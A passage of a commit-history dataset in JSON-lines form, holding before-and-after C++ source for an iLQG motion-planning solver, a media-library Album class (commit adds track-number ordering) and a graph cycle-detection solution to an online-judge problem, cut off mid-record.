{\n            prob_->termination_criterion = TerminationCriterion::Divergence;\n            WARNING_NAMED(\"ILQGSolver\", \"Diverged!\");\n            return;\n        }\n\n        if (debug_)\n        {\n            HIGHLIGHT_NAMED(\"ILQGSolver\", \"Forward pass complete in \" << line_search_timer.GetDuration() << \" with cost: \" << current_cost << \" and alpha \" << best_alpha);\n            HIGHLIGHT_NAMED(\"ILQGSolver\", \"Final state: \" << prob_->get_X(T - 1).transpose());\n        }\n\n        \/\/ copy solutions for next iteration\n        if (global_best_cost > current_cost)\n        {\n            global_best_cost = current_cost;\n            last_best_iteration = iteration;\n            global_best_U = new_U;\n            best_ref_x_ = ref_x;\n            best_ref_u_ = ref_u;\n        }\n\n        if (iteration - last_best_iteration > parameters_.FunctionTolerancePatience)\n        {\n            if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Early stopping criterion reached. Time: \" << planning_timer.GetDuration());\n            prob_->termination_criterion = TerminationCriterion::FunctionTolerance;\n            break;\n        }\n\n        if (last_cost - current_cost < parameters_.FunctionTolerance && last_cost - current_cost > 0)\n        {\n            if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Function tolerance reached. Time: \" << planning_timer.GetDuration());\n            prob_->termination_criterion = TerminationCriterion::Divergence;\n            break;\n        }\n\n        if (debug_ && iteration == parameters_.MaxIterations)\n        {\n            HIGHLIGHT_NAMED(\"ILQGSolver\", \"Max iterations reached. Time: \" << planning_timer.GetDuration());\n            prob_->termination_criterion = TerminationCriterion::IterationLimit;\n        }\n\n        last_cost = current_cost;\n        for (int t = 0; t < T - 1; ++t)\n            prob_->Update(new_U.col(t), t);\n        prob_->SetCostEvolution(iteration, current_cost);\n    }\n\n    \/\/ store the best solution found over all iterations\n    for (int t = 0; t < T - 1; ++t)\n    {\n        solution.row(t) = global_best_U.col(t).transpose();\n        prob_->Update(global_best_U.col(t), t);\n    }\n\n    planning_time_ = planning_timer.GetDuration();\n\n    \/\/ TODO: See note at disable.\n    prob_->EnableStochasticUpdates();\n}\n\nEigen::VectorXd ILQGSolver::GetFeedbackControl(Eigen::VectorXdRefConst x, int t) const\n{\n    const Eigen::MatrixXd control_limits = dynamics_solver_->get_control_limits();\n\n    Eigen::VectorXd delta_uk = l_gains_[t] +\n                               L_gains_[t] * dynamics_solver_->StateDelta(x, best_ref_x_.col(t));\n\n    Eigen::VectorXd u = best_ref_u_.col(t) + delta_uk;\n    return u.cwiseMax(control_limits.col(0)).cwiseMin(control_limits.col(1));\n}\n\n}  \/\/ namespace exotica\n<commit_msg>[exotica_ilqg_solver] Upgrade get_num_positions etc.<commit_after>\/\/\n\/\/ Copyright (c) 2019, University of Edinburgh\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/  * Redistributions of source code must retain the above copyright notice,\n\/\/    this list of conditions and the following disclaimer.\n\/\/  * Redistributions in binary form must reproduce the above copyright\n\/\/    notice, this list of conditions and the following disclaimer in the\n\/\/    documentation and\/or other materials provided with the distribution.\n\/\/  * Neither the name of  nor the names of its contributors may be used to\n\/\/    endorse or promote products derived from this software without specific\n\/\/    prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\n#include <exotica_ilqg_solver\/ilqg_solver.h>\n\nREGISTER_MOTIONSOLVER_TYPE(\"ILQGSolver\", exotica::ILQGSolver)\n\nnamespace exotica\n{\nvoid ILQGSolver::SpecifyProblem(PlanningProblemPtr pointer)\n{\n    if (pointer->type() != \"exotica::DynamicTimeIndexedShootingProblem\")\n    {\n        ThrowNamed(\"This ILQGSolver can't solve problem of type '\" << pointer->type() << \"'!\");\n    }\n\n    MotionSolver::SpecifyProblem(pointer);\n    prob_ = std::static_pointer_cast<DynamicTimeIndexedShootingProblem>(pointer);\n    dynamics_solver_ = prob_->GetScene()->GetDynamicsSolver();\n    if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"initialized\");\n}\n\nvoid ILQGSolver::BackwardPass()\n{\n    constexpr double min_clamp_ = -1e10;\n    constexpr double max_clamp_ = 1e10;\n    const int T = prob_->get_T();\n    const double dt = dynamics_solver_->get_dt();\n    const int NU = prob_->GetScene()->get_num_controls();\n\n    \/\/ Noise terms\n    Eigen::VectorXd big_C_times_little_c = Eigen::VectorXd::Zero(NU, 1);\n    Eigen::MatrixXd big_C_times_big_C = Eigen::MatrixXd::Zero(NU, NU);\n    Eigen::MatrixXd little_c_times_little_c = Eigen::MatrixXd::Zero(1, 1);\n\n    \/\/ Value function and derivatives at the final timestep\n    double s0 = prob_->GetStateCost(T - 1);\n    Eigen::MatrixXd s = prob_->GetStateCostJacobian(T - 1);\n    Eigen::MatrixXd S = prob_->GetStateCostHessian(T - 1);\n\n    for (int t = T - 2; t > 0; --t)\n    {\n        \/\/ eq. 3\n        Eigen::VectorXd x = prob_->get_X(t), u = prob_->get_U(t);\n        dynamics_solver_->ComputeDerivatives(x, u);\n        Eigen::MatrixXd A = dynamics_solver_->get_fx(), B = dynamics_solver_->get_fu();\n\n        A.noalias() = A * dt + Eigen::MatrixXd::Identity(A.rows(), A.cols());\n        B.noalias() = B * dt;\n\n        double q0 = dt * (prob_->GetStateCost(t) + prob_->GetControlCost(t));\n        \/\/ Aliases from the paper used. These are used with different names in e.g. DDPSolver.\n        Eigen::MatrixXd q = dt * prob_->GetStateCostJacobian(t);\n        Eigen::MatrixXd Q = dt * prob_->GetStateCostHessian(t);\n        Eigen::MatrixXd r = dt * prob_->GetControlCostJacobian(t);\n        Eigen::MatrixXd R = dt * prob_->GetControlCostHessian(t);\n        Eigen::MatrixXd P = dt * prob_->GetStateControlCostHessian();\n\n        Eigen::MatrixXd g = r + B.transpose() * s;\n        Eigen::MatrixXd G = P + B.transpose() * S * A;\n        Eigen::MatrixXd H = R + B.transpose() * S * B;\n\n        if (parameters_.IncludeNoiseTerms)\n        {\n            Eigen::MatrixXd F = prob_->get_F(t);\n            for (int i = 0; i < NU; ++i)\n            {\n                Eigen::MatrixXd C = std::sqrt(dt) * prob_->GetControlNoiseJacobian(i);\n                Eigen::VectorXd c = std::sqrt(dt) * F.col(i);\n\n                big_C_times_little_c = big_C_times_little_c + C.transpose() * S * c;\n                big_C_times_big_C = big_C_times_big_C + C.transpose() * S * C;\n                little_c_times_little_c = little_c_times_little_c + c.transpose() * S * c;\n            }\n\n            g = g + big_C_times_little_c;\n            H = H + big_C_times_big_C;\n        }\n\n        \/\/ optimal U\n        Eigen::EigenSolver<Eigen::Matrix<double, Eigen::Dynamic, Eigen::Dynamic>> eig_solver(H);\n        auto d = eig_solver.eigenvalues();\n        auto V = eig_solver.eigenvectors();\n        Eigen::MatrixXcd D = Eigen::MatrixXcd::Zero(d.size(), d.size());\n\n        for (int i = 0; i < d.size(); ++i)\n        {\n            if (d[i].real() < 0)\n                d[i] = 0;\n            d[i] = 1. \/ (d[i] + parameters_.RegularizationRate);\n            D(i, i) = d[i];\n        }\n\n        Eigen::MatrixXd H1 = (V * D * V.transpose()).real();\n\n        l_gains_[t] = -H1 * g;\n        L_gains_[t] = -H1 * G;\n\n        \/\/ Recursive terms update\n        S = Q + A.transpose() * S * A + L_gains_[t].transpose() * H * L_gains_[t] + L_gains_[t].transpose() * G + G.transpose() * L_gains_[t];\n        s = q + A.transpose() * s + L_gains_[t].transpose() * H * l_gains_[t] +\n            L_gains_[t].transpose() * g + G.transpose() * l_gains_[t];\n        s0 = q0 + s0 + (l_gains_[t].transpose() * H * l_gains_[t] \/ 2.0 +\n                        l_gains_[t].transpose() * g)(0);\n\n        if (parameters_.IncludeNoiseTerms)\n        {\n            s0 = s0 + 0.5 * little_c_times_little_c(0);\n        }\n\n        \/\/ fix for large values\n        S = S.unaryExpr([min_clamp_, max_clamp_](double x) -> double {\n            return std::min(std::max(x, min_clamp_), max_clamp_);\n        });\n        s = s.unaryExpr([min_clamp_, max_clamp_](double x) -> double {\n            return std::min(std::max(x, min_clamp_), max_clamp_);\n        });\n        s0 = std::min(std::max(s0, min_clamp_), max_clamp_);\n    }\n}\n\ndouble ILQGSolver::ForwardPass(const double alpha, Eigen::MatrixXdRefConst ref_x, Eigen::MatrixXdRefConst ref_u)\n{\n    double cost = 0;\n    const int T = prob_->get_T();\n    const Eigen::MatrixXd control_limits = dynamics_solver_->get_control_limits();\n    const double dt = dynamics_solver_->get_dt();\n\n    \/\/ NOTE: Todorov uses the linearized system in forward simulation.\n    \/\/  We here use the full system dynamics. YMMV\n    for (int t = 0; t < T - 1; ++t)\n    {\n        Eigen::VectorXd u = ref_u.col(t);\n        \/\/ eq. 12\n        Eigen::VectorXd delta_uk = l_gains_[t] +\n                                   L_gains_[t] * dynamics_solver_->StateDelta(prob_->get_X(t), ref_x.col(t));\n\n        u.noalias() += alpha * delta_uk;\n        \/\/ clamp controls\n        u = u.cwiseMax(control_limits.col(0)).cwiseMin(control_limits.col(1));\n\n        prob_->Update(u, t);\n        cost += dt * (prob_->GetControlCost(t) + prob_->GetStateCost(t));\n    }\n\n    \/\/ add terminal cost\n    cost += prob_->GetStateCost(T - 1);\n    return cost;\n}\n\nvoid ILQGSolver::Solve(Eigen::MatrixXd& solution)\n{\n    if (!prob_) ThrowNamed(\"Solver has not been initialized!\");\n    Timer planning_timer, backward_pass_timer, line_search_timer;\n    \/\/ TODO: This is an interesting approach but might give us incorrect results.\n    prob_->DisableStochasticUpdates();\n\n    const int T = prob_->get_T();\n    const int NU = prob_->GetScene()->get_num_controls();\n    const int NX = prob_->GetScene()->get_num_state();\n    const double dt = dynamics_solver_->get_dt();\n    prob_->ResetCostEvolution(GetNumberOfMaxIterations() + 1);\n    prob_->PreUpdate();\n\n    double initial_cost = 0;\n    for (int t = 0; t < T - 1; ++t)\n        initial_cost += dt * (prob_->GetControlCost(t) + prob_->GetStateCost(t));\n\n    \/\/ add terminal cost\n    initial_cost += prob_->GetStateCost(T - 1);\n    prob_->SetCostEvolution(0, initial_cost);\n\n    \/\/ initialize Gain matrices\n    l_gains_.assign(T, Eigen::MatrixXd::Zero(NU, 1));\n    L_gains_.assign(T, Eigen::MatrixXd::Zero(NU, NX));\n\n    \/\/ all of the below are not pointers, since we want to copy over\n    \/\/  solutions across iterations\n    Eigen::MatrixXd new_U, global_best_U = prob_->get_U();\n    solution.resize(T - 1, NU);\n\n    if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Running ILQG solver for max \" << parameters_.MaxIterations << \" iterations\");\n\n    double last_cost = initial_cost, global_best_cost = initial_cost;\n    int last_best_iteration = 0;\n\n    for (int iteration = 1; iteration <= GetNumberOfMaxIterations(); ++iteration)\n    {\n        \/\/ Check whether user interrupted (Ctrl+C)\n        if (Server::IsRos() && !ros::ok())\n        {\n            if (debug_) HIGHLIGHT(\"Solving cancelled by user\");\n            prob_->termination_criterion = TerminationCriterion::UserDefined;\n            break;\n        }\n\n        \/\/ Backwards pass computes the gains\n        backward_pass_timer.Reset();\n        BackwardPass();\n        if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Backward pass complete in \" << backward_pass_timer.GetDuration());\n        \/\/ if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Backward pass complete in \" << backward_pass_timer.GetDuration());\n\n        line_search_timer.Reset();\n        \/\/ forward pass to compute new control trajectory\n        \/\/ TODO: Configure line-search space from xml\n        \/\/ TODO (Wolf): What you are doing is a forward line-search when we may try a\n        \/\/    backtracking line search for a performance improvement later - this just as an aside.\n        const Eigen::VectorXd alpha_space = Eigen::VectorXd::LinSpaced(10, 0.1, 1.0);\n        double current_cost = 0, best_alpha = 0;\n\n        Eigen::MatrixXd ref_x = prob_->get_X(),\n                        ref_u = prob_->get_U();\n        \/\/ perform a linear search to find the best rate\n        for (int ai = 0; ai < alpha_space.rows(); ++ai)\n        {\n            double alpha = alpha_space(ai);\n            double cost = ForwardPass(alpha, ref_x, ref_u);\n\n            if (ai == 0 || (cost < current_cost && !std::isnan(cost)))\n            {\n                current_cost = cost;\n                new_U = prob_->get_U();\n                best_alpha = alpha;\n            }\n            \/\/ else if (cost > current_cost)\n            \/\/ break;\n        }\n\n        \/\/ finite checks\n        if (!new_U.allFinite() || !std::isfinite(current_cost))\n        {\n            prob_->termination_criterion = TerminationCriterion::Divergence;\n            WARNING_NAMED(\"ILQGSolver\", \"Diverged!\");\n            return;\n        }\n\n        if (debug_)\n        {\n            HIGHLIGHT_NAMED(\"ILQGSolver\", \"Forward pass complete in \" << line_search_timer.GetDuration() << \" with cost: \" << current_cost << \" and alpha \" << best_alpha);\n            HIGHLIGHT_NAMED(\"ILQGSolver\", \"Final state: \" << prob_->get_X(T - 1).transpose());\n        }\n\n        \/\/ copy solutions for next iteration\n        if (global_best_cost > current_cost)\n        {\n            global_best_cost = current_cost;\n            last_best_iteration = iteration;\n            global_best_U = new_U;\n            best_ref_x_ = ref_x;\n            best_ref_u_ = ref_u;\n        }\n\n        if (iteration - last_best_iteration > parameters_.FunctionTolerancePatience)\n        {\n            if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Early stopping criterion reached. Time: \" << planning_timer.GetDuration());\n            prob_->termination_criterion = TerminationCriterion::FunctionTolerance;\n            break;\n        }\n\n        if (last_cost - current_cost < parameters_.FunctionTolerance && last_cost - current_cost > 0)\n        {\n            if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Function tolerance reached. Time: \" << planning_timer.GetDuration());\n            prob_->termination_criterion = TerminationCriterion::Divergence;\n            break;\n        }\n\n        if (debug_ && iteration == parameters_.MaxIterations)\n        {\n            HIGHLIGHT_NAMED(\"ILQGSolver\", \"Max iterations reached. Time: \" << planning_timer.GetDuration());\n            prob_->termination_criterion = TerminationCriterion::IterationLimit;\n        }\n\n        last_cost = current_cost;\n        for (int t = 0; t < T - 1; ++t)\n            prob_->Update(new_U.col(t), t);\n        prob_->SetCostEvolution(iteration, current_cost);\n    }\n\n    \/\/ store the best solution found over all iterations\n    for (int t = 0; t < T - 1; ++t)\n    {\n        solution.row(t) = global_best_U.col(t).transpose();\n        prob_->Update(global_best_U.col(t), t);\n    }\n\n    planning_time_ = planning_timer.GetDuration();\n\n    \/\/ TODO: See note at disable.\n    prob_->EnableStochasticUpdates();\n}\n\nEigen::VectorXd ILQGSolver::GetFeedbackControl(Eigen::VectorXdRefConst x, int t) const\n{\n    const Eigen::MatrixXd control_limits = dynamics_solver_->get_control_limits();\n\n    Eigen::VectorXd delta_uk = l_gains_[t] +\n                               L_gains_[t] * dynamics_solver_->StateDelta(x, best_ref_x_.col(t));\n\n    Eigen::VectorXd u = best_ref_u_.col(t) + delta_uk;\n    return u.cwiseMax(control_limits.col(0)).cwiseMin(control_limits.col(1));\n}\n\n}  \/\/ namespace exotica\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * Media Library\n *****************************************************************************\n * Copyright (C) 2015 Hugo Beauzée-Luyssen, Videolabs\n *\n * Authors: Hugo Beauzée-Luyssen<hugo@beauzee.fr>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#include \"Album.h\"\n#include \"AlbumTrack.h\"\n#include \"Artist.h\"\n#include \"Media.h\"\n\n#include \"database\/SqliteTools.h\"\n\nconst std::string policy::AlbumTable::Name = \"Album\";\nconst std::string policy::AlbumTable::CacheColumn = \"id_album\";\nunsigned int Album::* const policy::AlbumTable::PrimaryKey = &Album::m_id;\n\nAlbum::Album(DBConnection dbConnection, sqlite::Row& row)\n    : m_dbConnection( dbConnection )\n{\n    row >> m_id\n        >> m_title\n        >> m_releaseDate\n        >> m_shortSummary\n        >> m_artworkUrl\n        >> m_lastSyncDate;\n}\n\nAlbum::Album(const std::string& title )\n    : m_id( 0 )\n    , m_title( title )\n    , m_releaseDate( 0 )\n    , m_lastSyncDate( 0 )\n{\n}\n\nunsigned int Album::id() const\n{\n    return m_id;\n}\n\nconst std::string& Album::title() const\n{\n    return m_title;\n}\n\ntime_t Album::releaseDate() const\n{\n    return m_releaseDate;\n}\n\nbool Album::setReleaseDate( time_t date )\n{\n    static const std::string& req = \"UPDATE \" + policy::AlbumTable::Name\n            + \" SET release_date = ? WHERE id_album = ?\";\n    if ( sqlite::Tools::executeUpdate( m_dbConnection, req, date, m_id ) == false )\n        return false;\n    m_releaseDate = date;\n    return true;\n}\n\nconst std::string& Album::shortSummary() const\n{\n    return m_shortSummary;\n}\n\nbool Album::setShortSummary( const std::string& summary )\n{\n    static const std::string& req = \"UPDATE \" + policy::AlbumTable::Name\n            + \" SET short_summary = ? WHERE id_album = ?\";\n    if ( sqlite::Tools::executeUpdate( m_dbConnection, req, summary, m_id ) == false )\n        return false;\n    m_shortSummary = summary;\n    return true;\n}\n\nconst std::string& Album::artworkUrl() const\n{\n    return m_artworkUrl;\n}\n\nbool Album::setArtworkUrl( const std::string& artworkUrl )\n{\n    static const std::string& req = \"UPDATE \" + policy::AlbumTable::Name\n            + \" SET artwork_url = ? WHERE id_album = ?\";\n    if ( sqlite::Tools::executeUpdate( m_dbConnection, req, artworkUrl, m_id ) == false )\n        return false;\n    m_artworkUrl = artworkUrl;\n    return true;\n}\n\ntime_t Album::lastSyncDate() const\n{\n    return m_lastSyncDate;\n}\n\nstd::vector<MediaPtr> Album::tracks() const\n{\n    static const std::string req = \"SELECT med.* FROM \" + policy::MediaTable::Name + \" med \"\n            \" LEFT JOIN \" + policy::AlbumTrackTable::Name + \" att ON att.media_id = med.id_media \"\n            \" WHERE att.album_id = ?\";\n    return Media::fetchAll( m_dbConnection, req, m_id );\n}\n\nstd::shared_ptr<AlbumTrack> Album::addTrack(std::shared_ptr<Media> media, unsigned int trackNb )\n{\n    auto track = AlbumTrack::create( m_dbConnection, m_id, media.get(), trackNb );\n    media->setAlbumTrack( track );\n    return track;\n}\n\nstd::vector<ArtistPtr> Album::artists() const\n{\n    static const std::string req = \"SELECT art.* FROM \" + policy::ArtistTable::Name + \" art \"\n            \"LEFT JOIN AlbumArtistRelation aar ON aar.id_artist = art.id_artist \"\n            \"WHERE aar.id_album = ?\";\n    return Artist::fetchAll( m_dbConnection, req, m_id );\n}\n\nbool Album::addArtist( std::shared_ptr<Artist> artist )\n{\n    static const std::string req = \"INSERT INTO AlbumArtistRelation VALUES(?, ?)\";\n    if ( m_id == 0 || artist->id() == 0 )\n    {\n        LOG_ERROR(\"Both artist * album need to be inserted in database before being linked together\" );\n        return false;\n    }\n    return sqlite::Tools::executeRequest( m_dbConnection, req, m_id, artist->id() );\n}\n\nbool Album::createTable(DBConnection dbConnection )\n{\n    static const std::string req = \"CREATE TABLE IF NOT EXISTS \" +\n            policy::AlbumTable::Name +\n            \"(\"\n                \"id_album INTEGER PRIMARY KEY AUTOINCREMENT,\"\n                \"title TEXT UNIQUE ON CONFLICT FAIL,\"\n                \"release_date UNSIGNED INTEGER,\"\n                \"short_summary TEXT,\"\n                \"artwork_url TEXT,\"\n                \"UNSIGNED INTEGER last_sync_date\"\n            \")\";\n    static const std::string reqRel = \"CREATE TABLE IF NOT EXISTS AlbumArtistRelation(\"\n                \"id_album INTEGER,\"\n                \"id_artist INTEGER,\"\n                \"PRIMARY KEY (id_album, id_artist),\"\n                \"FOREIGN KEY(id_album) REFERENCES \" + policy::AlbumTable::Name + \"(\"\n                    + policy::AlbumTable::CacheColumn + \") ON DELETE CASCADE,\"\n                \"FOREIGN KEY(id_artist) REFERENCES \" + policy::ArtistTable::Name + \"(\"\n                    + policy::ArtistTable::CacheColumn + \") ON DELETE CASCADE\"\n            \")\";\n    return sqlite::Tools::executeRequest( dbConnection, req ) &&\n            sqlite::Tools::executeRequest( dbConnection, reqRel );\n}\n\nstd::shared_ptr<Album> Album::create(DBConnection dbConnection, const std::string& title )\n{\n    auto album = std::make_shared<Album>( title );\n    static const std::string req = \"INSERT INTO \" + policy::AlbumTable::Name +\n            \"(id_album, title) VALUES(NULL, ?)\";\n    if ( _Cache::insert( dbConnection, album, req, title ) == false )\n        return nullptr;\n    album->m_dbConnection = dbConnection;\n    return album;\n}\n<commit_msg>Album: Sort tracks by track number<commit_after>\/*****************************************************************************\n * Media Library\n *****************************************************************************\n * Copyright (C) 2015 Hugo Beauzée-Luyssen, Videolabs\n *\n * Authors: Hugo Beauzée-Luyssen<hugo@beauzee.fr>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#include \"Album.h\"\n#include \"AlbumTrack.h\"\n#include \"Artist.h\"\n#include \"Media.h\"\n\n#include \"database\/SqliteTools.h\"\n\nconst std::string policy::AlbumTable::Name = \"Album\";\nconst std::string policy::AlbumTable::CacheColumn = \"id_album\";\nunsigned int Album::* const policy::AlbumTable::PrimaryKey = &Album::m_id;\n\nAlbum::Album(DBConnection dbConnection, sqlite::Row& row)\n    : m_dbConnection( dbConnection )\n{\n    row >> m_id\n        >> m_title\n        >> m_releaseDate\n        >> m_shortSummary\n        >> m_artworkUrl\n        >> m_lastSyncDate;\n}\n\nAlbum::Album(const std::string& title )\n    : m_id( 0 )\n    , m_title( title )\n    , m_releaseDate( 0 )\n    , m_lastSyncDate( 0 )\n{\n}\n\nunsigned int Album::id() const\n{\n    return m_id;\n}\n\nconst std::string& Album::title() const\n{\n    return m_title;\n}\n\ntime_t Album::releaseDate() const\n{\n    return m_releaseDate;\n}\n\nbool Album::setReleaseDate( time_t date )\n{\n    static const std::string& req = \"UPDATE \" + policy::AlbumTable::Name\n            + \" SET release_date = ? WHERE id_album = ?\";\n    if ( sqlite::Tools::executeUpdate( m_dbConnection, req, date, m_id ) == false )\n        return false;\n    m_releaseDate = date;\n    return true;\n}\n\nconst std::string& Album::shortSummary() const\n{\n    return m_shortSummary;\n}\n\nbool Album::setShortSummary( const std::string& summary )\n{\n    static const std::string& req = \"UPDATE \" + policy::AlbumTable::Name\n            + \" SET short_summary = ? WHERE id_album = ?\";\n    if ( sqlite::Tools::executeUpdate( m_dbConnection, req, summary, m_id ) == false )\n        return false;\n    m_shortSummary = summary;\n    return true;\n}\n\nconst std::string& Album::artworkUrl() const\n{\n    return m_artworkUrl;\n}\n\nbool Album::setArtworkUrl( const std::string& artworkUrl )\n{\n    static const std::string& req = \"UPDATE \" + policy::AlbumTable::Name\n            + \" SET artwork_url = ? WHERE id_album = ?\";\n    if ( sqlite::Tools::executeUpdate( m_dbConnection, req, artworkUrl, m_id ) == false )\n        return false;\n    m_artworkUrl = artworkUrl;\n    return true;\n}\n\ntime_t Album::lastSyncDate() const\n{\n    return m_lastSyncDate;\n}\n\nstd::vector<MediaPtr> Album::tracks() const\n{\n    static const std::string req = \"SELECT med.* FROM \" + policy::MediaTable::Name + \" med \"\n            \" LEFT JOIN \" + policy::AlbumTrackTable::Name + \" att ON att.media_id = med.id_media \"\n            \" WHERE att.album_id = ? ORDER BY att.track_number\";\n    return Media::fetchAll( m_dbConnection, req, m_id );\n}\n\nstd::shared_ptr<AlbumTrack> Album::addTrack(std::shared_ptr<Media> media, unsigned int trackNb )\n{\n    auto track = AlbumTrack::create( m_dbConnection, m_id, media.get(), trackNb );\n    media->setAlbumTrack( track );\n    return track;\n}\n\nstd::vector<ArtistPtr> Album::artists() const\n{\n    static const std::string req = \"SELECT art.* FROM \" + policy::ArtistTable::Name + \" art \"\n            \"LEFT JOIN AlbumArtistRelation aar ON aar.id_artist = art.id_artist \"\n            \"WHERE aar.id_album = ?\";\n    return Artist::fetchAll( m_dbConnection, req, m_id );\n}\n\nbool Album::addArtist( std::shared_ptr<Artist> artist )\n{\n    static const std::string req = \"INSERT INTO AlbumArtistRelation VALUES(?, ?)\";\n    if ( m_id == 0 || artist->id() == 0 )\n    {\n        LOG_ERROR(\"Both artist * album need to be inserted in database before being linked together\" );\n        return false;\n    }\n    return sqlite::Tools::executeRequest( m_dbConnection, req, m_id, artist->id() );\n}\n\nbool Album::createTable(DBConnection dbConnection )\n{\n    static const std::string req = \"CREATE TABLE IF NOT EXISTS \" +\n            policy::AlbumTable::Name +\n            \"(\"\n                \"id_album INTEGER PRIMARY KEY AUTOINCREMENT,\"\n                \"title TEXT UNIQUE ON CONFLICT FAIL,\"\n                \"release_date UNSIGNED INTEGER,\"\n                \"short_summary TEXT,\"\n                \"artwork_url TEXT,\"\n                \"UNSIGNED INTEGER last_sync_date\"\n            \")\";\n    static const std::string reqRel = \"CREATE TABLE IF NOT EXISTS AlbumArtistRelation(\"\n                \"id_album INTEGER,\"\n                \"id_artist INTEGER,\"\n                \"PRIMARY KEY (id_album, id_artist),\"\n                \"FOREIGN KEY(id_album) REFERENCES \" + policy::AlbumTable::Name + \"(\"\n                    + policy::AlbumTable::CacheColumn + \") ON DELETE CASCADE,\"\n                \"FOREIGN KEY(id_artist) REFERENCES \" + policy::ArtistTable::Name + \"(\"\n                    + policy::ArtistTable::CacheColumn + \") ON DELETE CASCADE\"\n            \")\";\n    return sqlite::Tools::executeRequest( dbConnection, req ) &&\n            sqlite::Tools::executeRequest( dbConnection, reqRel );\n}\n\nstd::shared_ptr<Album> Album::create(DBConnection dbConnection, const std::string& title )\n{\n    auto album = std::make_shared<Album>( title );\n    static const std::string req = \"INSERT INTO \" + policy::AlbumTable::Name +\n            \"(id_album, title) VALUES(NULL, ?)\";\n    if ( _Cache::insert( dbConnection, album, req, title ) == false )\n        return nullptr;\n    album->m_dbConnection = dbConnection;\n    return album;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nDudu Faz Serviço\nhttps:\/\/www.urionlinejudge.com.br\/judge\/pt\/problems\/view\/1610\n*\/\n\n#include <iostream>\n#include <vector>\n#include <list>\n\nusing namespace std;\n\nbool checarCiclos(vector<list<int>> &adj);\nbool checarCiclos(int origem, vector<list<int>> &adj, vector<bool> &visitado, vector<bool> &visitadoNoCaminho);\n\nint main(void) {\n    ios::sync_with_stdio(false);\n\n    int T;\n\n    cin >> T;\n    while(T-- > 0) {\n        int N, M;\n\n        cin >> N >> M;\n\n        vector<list<int>> adj(N);\n\n        for (int i = 0; i < M; i++) {\n            int A, B;\n\n            cin >> A >> B;\n\n            adj[A - 1].push_back(B - 1);\n        }\n\n        if (checarCiclos(adj)) {\n            cout << \"SIM\\n\";\n        }\n        else {\n            cout << \"NAO\\n\";\n        }\n    }\n\n    return 0;\n}\n\nbool checarCiclos(vector<list<int>> &adj) {\n    int N = adj.size();\n    vector<bool> visitado(N);\n    vector<bool> visitadoNoCaminho(N);\n    \n    for (int i = 0; i < N; i++) {\n        if (checarCiclos(i, adj, visitado, visitadoNoCaminho)) return true;\n    }\n\n    return false;\n}\n\nbool checarCiclos(int origem, vector<list<int>> &adj, vector<bool> &visitado, vector<bool> &visitadoNoCaminho) {\n    if (!visitado[origem]) {\n        visitado[origem] = true;\n        visitadoNoCaminho[origem] = true;\n\n        for (auto destino : adj[origem]) {\n            if (!visitado[destino] && checarCiclos(destino, adj, visitado, visitadoNoCaminho)) return true;\n            else if (visitadoNoCaminho[destino]) return true;\n        }      \n\n        visitadoNoCaminho[origem] = false;\n    }\n    \n    return false;\n}<commit_msg>URI Online Judge - 1610 - Dudu faz serviço<commit_after>\/*\nDudu Faz Serviço\nhttps:\/\/www.urionlinejudge.com.br\/judge\/pt\/problems\/view\/1610\n*\/\n\n#include <iostream>\n#include <vector>\n#include <list>\n\nusing namespace std;\n\nbool checarCiclos(vector<list<int>> &adj);\nbool checarCiclos(int origem, vector<list<int>> &adj, vector<bool> &visitado, vector<bool> &local);\n\nint main(void) {\n    ios::sync_with_stdio(false);\n\n    int T;\n\n    cin >> T;\n    while(T-- > 0) {\n        int 